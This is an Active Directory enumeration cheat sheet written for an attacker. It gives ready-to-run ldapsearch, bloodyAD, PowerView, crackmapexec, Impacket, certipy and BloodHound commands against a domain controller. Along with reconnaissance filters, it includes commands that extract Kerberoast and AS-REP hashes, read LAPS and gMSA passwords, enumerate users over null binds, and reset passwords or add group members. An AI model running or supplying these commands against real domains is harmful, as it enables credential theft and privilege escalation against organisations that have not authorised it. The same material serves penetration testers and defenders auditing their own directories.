Covers raw LDAP filters, attribute queries, and tool-specific syntax for AD enumeration. Tools: ldapsearch, bloodyAD, PowerView, crackmapexec, ldapdomaindump, certipy, windapsearch, python-ldap
(attribute=value) # Exact match
(attribute=*) # Attribute exists (present)
(!(attribute=*)) # Attribute does NOT exist
(attribute=*partial*) # Substring / wildcard match
(&(filter1)(filter2)) # AND
(|(filter1)(filter2)) # OR
(!(filter)) # NOT
| Scope |
ldapsearch flag |
Meaning |
| base |
-s base |
Only the base DN object |
| one |
-s one |
One level below base DN |
| sub |
-s sub |
Entire subtree (default) |
DC=domain,DC=local # Domain root
CN=Users,DC=domain,DC=local # Default users container
CN=Computers,DC=domain,DC=local # Default computers container
OU=Corp,DC=domain,DC=local # Custom OU
CN=Schema,CN=Configuration,DC=domain,DC=local # Schema partition
CN=Configuration,DC=domain,DC=local # Configuration partition
CN=Public Key Services,CN=Services,CN=Configuration,... # ADCS objects
ldapsearch \
-H ldap://<DC_IP> \ # or ldaps://<DC_IP>:636
-D 'attacker@domain.local' \ # bind DN
-w 'Pass123!' \ # bind password
-b 'DC=domain,DC=local' \ # search base
-s sub \ # scope
'(filter)' \ # LDAP filter
attr1 attr2 # attributes to return (blank = all)
# Simple bind (cleartext — use ldaps for prod)
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' ...
# SASL / GSSAPI (Kerberos TGT)
export KRB5CCNAME=attacker.ccache
ldapsearch -H ldap://<DC_IP> -Y GSSAPI -b 'DC=domain,DC=local' ...
# Pass-the-Hash via NTLM (requires ldap3 / python tooling — not native ldapsearch)
# Use bloodyAD or ldapdomaindump with --hashes
# Null / anonymous bind (see Section 20)
ldapsearch -H ldap://<DC_IP> -x -b 'DC=domain,DC=local' ...
# bloodyAD — NTLM hash
bloodyAD -u attacker -H :<NTLM> -d domain.local --host <DC_IP> get ...
# bloodyAD — Kerberos
bloodyAD -u attacker -k -d domain.local --host <DC_IP> get ...
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(objectClass=user)' \
sAMAccountName displayName mail description userAccountControl memberOf pwdLastSet lastLogon
# UAC bit 2 (0x2) = ACCOUNTDISABLE. Filter out accounts where bit 2 is set.
'(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
'(&(objectClass=user)(description=*))'
# UAC bit 0x10000 = DONT_EXPIRE_PASSWORD
'(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))'
# UAC bit 0x20 = PASSWD_NOTREQD
'(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))'
# UAC bit 0x10 = LOCKOUT
'(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=16))'
# lastLogonTimestamp older than 90 days
# First calculate: 90 days ago in FILETIME = (current_epoch - 90*86400) * 10000000 + 116444736000000000
ldapsearch ... '(&(objectClass=user)(lastLogonTimestamp<=<FILETIME_90_DAYS_AGO>))'
# Easier with PowerView:
Get-DomainUser -LDAPFilter '(lastLogonTimestamp<=<timestamp>)' | Select-Object samaccountname, lastlogontimestamp
'(&(objectClass=user)(sAMAccountName=john.doe))'
'(&(objectClass=user)(mail=john.doe@domain.local))'
'(&(objectClass=user)(displayName=*John*))'
'(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local))'
# Recursive (nested groups) — use LDAP_MATCHING_RULE_IN_CHAIN OID
'(&(objectClass=user)(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=domain,DC=local))'
'(&(objectClass=user)(sIDHistory=*))'
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(sAMAccountName=administrator)'
# No attribute list = return all attributes
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(objectClass=computer)' \
sAMAccountName dNSHostName operatingSystem operatingSystemVersion lastLogon
# Via userAccountControl — UAC bit 0x2000 = SERVER_TRUST_ACCOUNT (DC)
'(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
# Via primaryGroupID = 516 (Domain Controllers group)
'(&(objectClass=computer)(primaryGroupID=516))'
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
get search --filter '(primaryGroupID=516)' --attr dNSHostName,operatingSystem
# primaryGroupID = 521
'(&(objectClass=computer)(primaryGroupID=521))'
'(&(objectClass=computer)(operatingSystem=*Server*))'
'(&(objectClass=computer)(operatingSystem=*Windows 10*))'
'(&(objectClass=computer)(operatingSystem=*Windows 11*))'
# Older / unpatched
'(&(objectClass=computer)(operatingSystem=*2008*))'
'(&(objectClass=computer)(operatingSystem=*XP*))'
'(&(objectClass=computer)(lastLogonTimestamp<=<FILETIME_90_DAYS_AGO>)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(objectClass=group)' \
sAMAccountName description member
# Direct members
'(&(objectClass=group)(sAMAccountName=Domain Admins))'
# Return: member attribute
# All users transitively in a group
'(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=domain,DC=local)'
'(&(objectClass=group)(member=CN=john.doe,CN=Users,DC=domain,DC=local))'
# Recursive
'(member:1.2.840.113556.1.4.1941:=CN=john.doe,CN=Users,DC=domain,DC=local)'
'(&(objectClass=group)(!(member=*)))'
# All of these at once
'(&(objectClass=group)(|(sAMAccountName=Domain Admins)(sAMAccountName=Enterprise Admins)(sAMAccountName=Schema Admins)(sAMAccountName=Administrators)(sAMAccountName=Account Operators)(sAMAccountName=Backup Operators)(sAMAccountName=Print Operators)(sAMAccountName=Server Operators)(sAMAccountName=Group Policy Creator Owners)))'
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' -s base \
'(objectClass=*)' \
defaultNamingContext dnsRoot name objectSid ms-DS-MachineAccountQuota \
lockoutThreshold maxPwdAge minPwdAge minPwdLength pwdHistoryLength
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' -s base '(objectClass=*)' ms-DS-MachineAccountQuota
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
get object 'DC=domain,DC=local' --attr ms-DS-MachineAccountQuota
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' -s base '(objectClass=*)' msDS-Behavior-Version
# Values: 0=2000, 1=2003 Mixed, 2=2003, 3=2008, 4=2008R2, 5=2012, 6=2012R2, 7=2016
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'CN=Partitions,CN=Configuration,DC=domain,DC=local' \
'(objectClass=crossRef)' \
nCName dnsRoot netBIOSName
'(&(objectClass=user)(adminCount=1))'
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(&(objectClass=user)(adminCount=1))' \
sAMAccountName memberOf userAccountControl
'(&(objectClass=user)(|(sAMAccountName=svc_*)(sAMAccountName=*service*)(sAMAccountName=*svc*)))'
# UAC bit 0x100000 = NOT_DELEGATED
'(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=1048576))'
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(&(objectClass=user)(servicePrincipalName=*)(!(sAMAccountName=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
sAMAccountName servicePrincipalName memberOf pwdLastSet
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
get search \
--filter '(&(objectClass=user)(servicePrincipalName=*)(!(sAMAccountName=krbtgt)))' \
--attr sAMAccountName,servicePrincipalName
# GetUserSPNs (Impacket) — also performs the actual roast
GetUserSPNs.py domain.local/attacker:Pass123! -dc-ip <DC_IP> -request -outputfile kerberoast.hash
'(&(objectClass=user)(servicePrincipalName=*)(adminCount=1)(!(sAMAccountName=krbtgt)))'
# UAC bit 0x400000 = DONT_REQUIRE_PREAUTH
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
sAMAccountName userAccountControl
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
get search \
--filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
--attr sAMAccountName
# GetNPUsers (Impacket) — enumerate + roast
GetNPUsers.py domain.local/attacker:Pass123! -dc-ip <DC_IP> -request -format hashcat -outputfile asrep.hash
# Unauthenticated (if you have a user list)
GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' -s base '(objectClass=*)' \
minPwdLength maxPwdAge minPwdAge pwdHistoryLength lockoutThreshold lockoutDuration lockoutObservationWindow
# crackmapexec
crackmapexec smb <DC_IP> -u attacker -p 'Pass123!' --pass-pol
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'CN=Password Settings Container,CN=System,DC=domain,DC=local' \
'(objectClass=msDS-PasswordSettings)' \
name msDS-MinimumPasswordLength msDS-LockoutThreshold msDS-PSOAppliesTo \
msDS-PasswordSettingsPrecedence msDS-PasswordReversibleEncryptionEnabled
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
get search \
--filter '(objectClass=msDS-PasswordSettings)' \
--attr name,msDS-MinimumPasswordLength,msDS-LockoutThreshold,msDS-PSOAppliesTo \
--base 'CN=Password Settings Container,CN=System,DC=domain,DC=local'
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'CN=System,DC=domain,DC=local' \
'(objectClass=trustedDomain)' \
name trustDirection trustType trustAttributes flatName
# trustDirection: 1=Inbound, 2=Outbound, 3=Bidirectional
# trustType: 1=Downlevel, 2=Uplevel (AD), 3=MIT Kerberos, 4=DCE
# trustAttributes: 0x8=Forest Trust, 0x20=Treats as External, 0x4=Quarantined (SID Filtering)
# If trustAttributes does NOT have 0x4 (QUARANTINED_DOMAIN) = SID filtering disabled = SID history attack possible
ldapsearch ... '(objectClass=trustedDomain)' trustAttributes
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(sAMAccountName=TargetUser)' \
nTSecurityDescriptor
# bloodyAD — parsed ACL view
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
get object TargetUser --attr nTSecurityDescriptor
# PowerView — human-readable
Get-DomainObjectAcl -Identity TargetUser -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteOwner|WriteDACL|WriteProperty'
}
# Find all interesting ACLs across the domain
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -notmatch 'SYSTEM|Domain Admins|Enterprise Admins|Administrator'
}
# dacledit (Impacket)
dacledit.py -action read -target 'TargetUser' -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
dacledit.py -action read -target-dn 'DC=domain,DC=local' -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local' \
'(objectClass=pKICertificateTemplate)' \
name displayName msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag \
msPKI-RA-Signature pKIExtendedKeyUsage msPKI-Certificate-Application-Policy
# msPKI-Certificate-Name-Flag = 1 → ENROLLEE_SUPPLIES_SUBJECT → ESC1
# msPKI-Enrollment-Flag = 2 → PEND_ALL_REQUESTS (manager approval)
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local' \
'(objectClass=pKIEnrollmentService)' \
name dNSHostName certificateTemplates cACertificate flags
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local' \
-s base '(objectClass=*)' cACertificate
# Find templates where Authenticated Users or Domain Users can enroll
# (Check nTSecurityDescriptor — easier via certipy or Certify)
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'CN=Schema,CN=Configuration,DC=domain,DC=local' \
'(name=ms-Mcs-AdmPwd)' name
# If returns result → LAPS v1 deployed
# LAPSv2
ldapsearch ... '(name=msLAPS-Password)' name
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \
sAMAccountName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime
# LAPSv2
ldapsearch ... '(&(objectClass=computer)(msLAPS-Password=*))' \
sAMAccountName msLAPS-Password msLAPS-PasswordExpirationTime
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
get search --filter '(objectClass=computer)' \
--attr sAMAccountName,ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
# crackmapexec
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --module laps
# LAPSToolkit (PowerShell)
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights
Get-LAPSComputers
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(objectClass=msDS-GroupManagedServiceAccount)' \
sAMAccountName msDS-GroupMSAMembership msDS-ManagedPasswordInterval \
msDS-ManagedPassword servicePrincipalName
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
get search --filter '(objectClass=msDS-GroupManagedServiceAccount)' \
--attr sAMAccountName,msDS-GroupMSAMembership
# msDS-GroupMSAMembership contains a security descriptor
# Parse it to see which principals are allowed
ldapsearch ... '(objectClass=msDS-GroupManagedServiceAccount)' msDS-GroupMSAMembership
# Easier via crackmapexec
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --gmsa
# Or gMSADumper
gMSADumper.py -u attacker -p 'Pass123!' -d domain.local -l <DC_IP>
# UAC bit 0x80000 = TRUSTED_FOR_DELEGATION
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(userAccountControl:1.2.840.113556.1.4.803:=524288)' \
sAMAccountName userAccountControl dNSHostName
# Exclude DCs (they always have unconstrained delegation)
'(&(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516))(!(primaryGroupID=521)))'
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(msDS-AllowedToDelegateTo=*)' \
sAMAccountName msDS-AllowedToDelegateTo userAccountControl
# UAC bit 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION (Protocol Transition / T2A4D)
'(&(msDS-AllowedToDelegateTo=*)(userAccountControl:1.2.840.113556.1.4.803:=16777216))'
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' \
sAMAccountName msDS-AllowedToActOnBehalfOfOtherIdentity
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
get search \
--filter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' \
--attr sAMAccountName,msDS-AllowedToActOnBehalfOfOtherIdentity
findDelegation.py domain.local/attacker:Pass123! -dc-ip <DC_IP>
'(&(objectClass=user)(adminCount=1))'
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(memberOf:1.2.840.113556.1.4.1941:=CN=Protected Users,CN=Users,DC=domain,DC=local)' \
sAMAccountName
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' \
-s base '(objectClass=*)' nTSecurityDescriptor
# dacledit
dacledit.py -action read -target-dn 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' \
-dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'CN=Policies,CN=System,DC=domain,DC=local' \
'(objectClass=groupPolicyContainer)' \
name displayName gPCFileSysPath flags versionNumber
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(gPLink=*)' \
distinguishedName gPLink gPOptions
# gPLink format: [LDAP://CN={GUID},...;flags][...]
# flags: 0=Enabled, 1=Disabled, 2=Enforced
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
-b 'DC=domain,DC=local' \
'(objectClass=organizationalUnit)' \
name distinguishedName gPLink managedBy
# All collection methods
bloodhound-python -u attacker -p 'Pass123!' -d domain.local \
-dc <DC_FQDN> -c All --zip
# Specific collections
bloodhound-python -u attacker -p 'Pass123!' -d domain.local \
-dc <DC_FQDN> -c DCOnly --zip # DC-only (fastest, less noise)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local \
-dc <DC_FQDN> -c Group,LocalAdmin,Session,Trusts,ACL,Container,GPO --zip
# With NTLM hash
bloodhound-python -u attacker --hashes :<NTLM> -d domain.local \
-dc <DC_FQDN> -c All --zip
# With Kerberos
export KRB5CCNAME=attacker.ccache
bloodhound-python -u attacker -k --no-pass -d domain.local \
-dc <DC_FQDN> -c All --zip
.\SharpHound.exe -c All --zipfilename loot.zip
.\SharpHound.exe -c DCOnly --zipfilename loot.zip
.\SharpHound.exe --CollectionMethods All --Loop --LoopDuration 02:00:00 # session loop
ldapsearch -H ldap://<DC_IP> -x \
-b '' -s base '(objectClass=*)' namingContexts defaultNamingContext
# If it returns results → null bind allowed
ldapsearch -H ldap://<DC_IP> -x \
-b 'DC=domain,DC=local' \
'(objectClass=user)' sAMAccountName
# crackmapexec
crackmapexec smb <DC_IP> -u '' -p '' --users
crackmapexec smb <DC_IP> -u '' -p '' --groups
crackmapexec smb <DC_IP> -u '' -p '' --pass-pol
# enum4linux-ng
enum4linux-ng -A <DC_IP>
# If DC doesn't enforce LDAP signing → NTLM relay possible (ESC8, LDAP relay)
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' -M ldap-checker
nmap --script ldap-rootdse <DC_IP>
# Get single object
bloodyAD -u USER -p PASS -d DOMAIN --host <DC_IP> get object <sAMAccountName> [--attr attr1,attr2]
# LDAP search with custom filter
bloodyAD -u USER -p PASS -d DOMAIN --host <DC_IP> get search \
--filter '(LDAP_FILTER)' \
--attr attr1,attr2 \
[--base 'OU=Custom,DC=domain,DC=local']
# Set attribute
bloodyAD ... set object <target> <attribute> -v 'value'
# Add group member
bloodyAD ... add groupMember <group> <user>
# Remove group member
bloodyAD ... remove groupMember <group> <user>
# Set password
bloodyAD ... set password <user> 'NewPass123!'
# All users
windapsearch -d domain.local -u attacker -p Pass123! --dc <DC_IP> -m Users
# All computers
windapsearch -d domain.local -u attacker -p Pass123! --dc <DC_IP> -m Computers
# Privileged users
windapsearch -d domain.local -u attacker -p Pass123! --dc <DC_IP> -m privileged-users
# Custom filter
windapsearch -d domain.local -u attacker -p Pass123! --dc <DC_IP> \
-m custom --filter '(servicePrincipalName=*)' \
--attributes sAMAccountName,servicePrincipalName
ldapdomaindump -u 'domain.local\attacker' -p 'Pass123!' <DC_IP> -o /tmp/lddump/
# Outputs: domain_users.json, domain_computers.json, domain_groups.json, etc.
# Also generates HTML reports for easy browsing
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --users
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --groups
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --computers
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --kerberoasting kerberoast.hash
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --asreproast asrep.hash
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --gmsa
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --module laps
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --module adcs
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --module maq # MachineAccountQuota
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --trusted-for-delegation
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --password-not-required
# Users
Get-DomainUser # All users
Get-DomainUser -Identity john.doe # Specific user
Get-DomainUser -SPN # Kerberoastable
Get-DomainUser -LDAPFilter '(description=*)' # Users with descriptions
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE # Enabled users
Get-DomainUser -AdminCount # adminCount=1
# Computers
Get-DomainComputer # All computers
Get-DomainComputer -Unconstrained # Unconstrained delegation
Get-DomainComputer -TrustedToAuth # Constrained delegation
# Groups
Get-DomainGroup # All groups
Get-DomainGroupMember -Identity 'Domain Admins' -Recurse # Recursive members
Get-DomainGroup -MemberIdentity john.doe # Groups user belongs to
# ACLs
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs
# GPOs
Get-DomainGPO
Get-DomainGPO -ComputerIdentity <machine> # GPOs applied to computer
Get-DomainOUGPOMapping # OU → GPO links
# Trusts
Get-DomainTrust
Get-ForestTrust
| Goal |
LDAP Filter |
| All users |
(objectClass=user) |
| All computers |
(objectClass=computer) |
| All groups |
(objectClass=group) |
| Enabled users |
(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) |
| Disabled users |
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2)) |
| Users with SPN |
(&(objectClass=user)(servicePrincipalName=*)(!(sAMAccountName=krbtgt))) |
| No pre-auth (ASREP) |
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304)) |
| Password never expires |
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536)) |
| Password not required |
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32)) |
| adminCount=1 |
(&(objectClass=user)(adminCount=1)) |
| Domain Controllers |
(&(objectClass=computer)(primaryGroupID=516)) |
| RODC |
(&(objectClass=computer)(primaryGroupID=521)) |
| Unconstrained delegation |
(userAccountControl:1.2.840.113556.1.4.803:=524288) |
| Constrained delegation |
(msDS-AllowedToDelegateTo=*) |
| RBCD configured |
(msDS-AllowedToActOnBehalfOfOtherIdentity=*) |
| LAPS password present |
(&(objectClass=computer)(ms-Mcs-AdmPwd=*)) |
| gMSA accounts |
(objectClass=msDS-GroupManagedServiceAccount) |
| SID history set |
(sIDHistory=*) |
| Users in specific group (recursive) |
(memberOf:1.2.840.113556.1.4.1941:=CN=GroupName,CN=Users,DC=domain,DC=local) |
| Objects with description |
(&(objectClass=user)(description=*)) |
| GPO containers |
(objectClass=groupPolicyContainer) |
| OUs with GPO links |
(&(objectClass=organizationalUnit)(gPLink=*)) |
| Trusts |
(objectClass=trustedDomain) |
| Certificate templates |
(objectClass=pKICertificateTemplate) |
| Enrollment services (CAs) |
(objectClass=pKIEnrollmentService) |
| Schema v1 templates |
(&(objectClass=pKICertificateTemplate)(msPKI-Template-Schema-Version=1)) |
| Templates w/ SAN flag |
(&(objectClass=pKICertificateTemplate)(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1)) |
| Bit (Hex) |
Decimal |
Flag Name |
Meaning |
| 0x2 |
2 |
ACCOUNTDISABLE |
Account disabled |
| 0x10 |
16 |
LOCKOUT |
Account locked out |
| 0x20 |
32 |
PASSWD_NOTREQD |
Password not required |
| 0x40 |
64 |
PASSWD_CANT_CHANGE |
User can't change password |
| 0x200 |
512 |
NORMAL_ACCOUNT |
Standard user account |
| 0x800 |
2048 |
INTERDOMAIN_TRUST |
Inter-domain trust account |
| 0x1000 |
4096 |
WORKSTATION_TRUST |
Computer account |
| 0x2000 |
8192 |
SERVER_TRUST |
Domain Controller |
| 0x10000 |
65536 |
DONT_EXPIRE_PASSWORD |
Password never expires |
| 0x80000 |
524288 |
TRUSTED_FOR_DELEGATION |
Unconstrained delegation |
| 0x100000 |
1048576 |
NOT_DELEGATED |
Account can't be delegated |
| 0x200000 |
2097152 |
USE_DES_KEY_ONLY |
Use DES only (weak) |
| 0x400000 |
4194304 |
DONT_REQUIRE_PREAUTH |
ASREProastable |
| 0x1000000 |
16777216 |
TRUSTED_TO_AUTH_FOR_DELEGATION |
Protocol Transition (S4U2Self) |
| OID |
Name |
Usage |
1.2.840.113556.1.4.803 |
LDAP_MATCHING_RULE_BIT_AND |
Match if ALL specified bits are set |
1.2.840.113556.1.4.804 |
LDAP_MATCHING_RULE_BIT_OR |
Match if ANY specified bit is set |
1.2.840.113556.1.4.1941 |
LDAP_MATCHING_RULE_IN_CHAIN |
Recursive group membership traversal |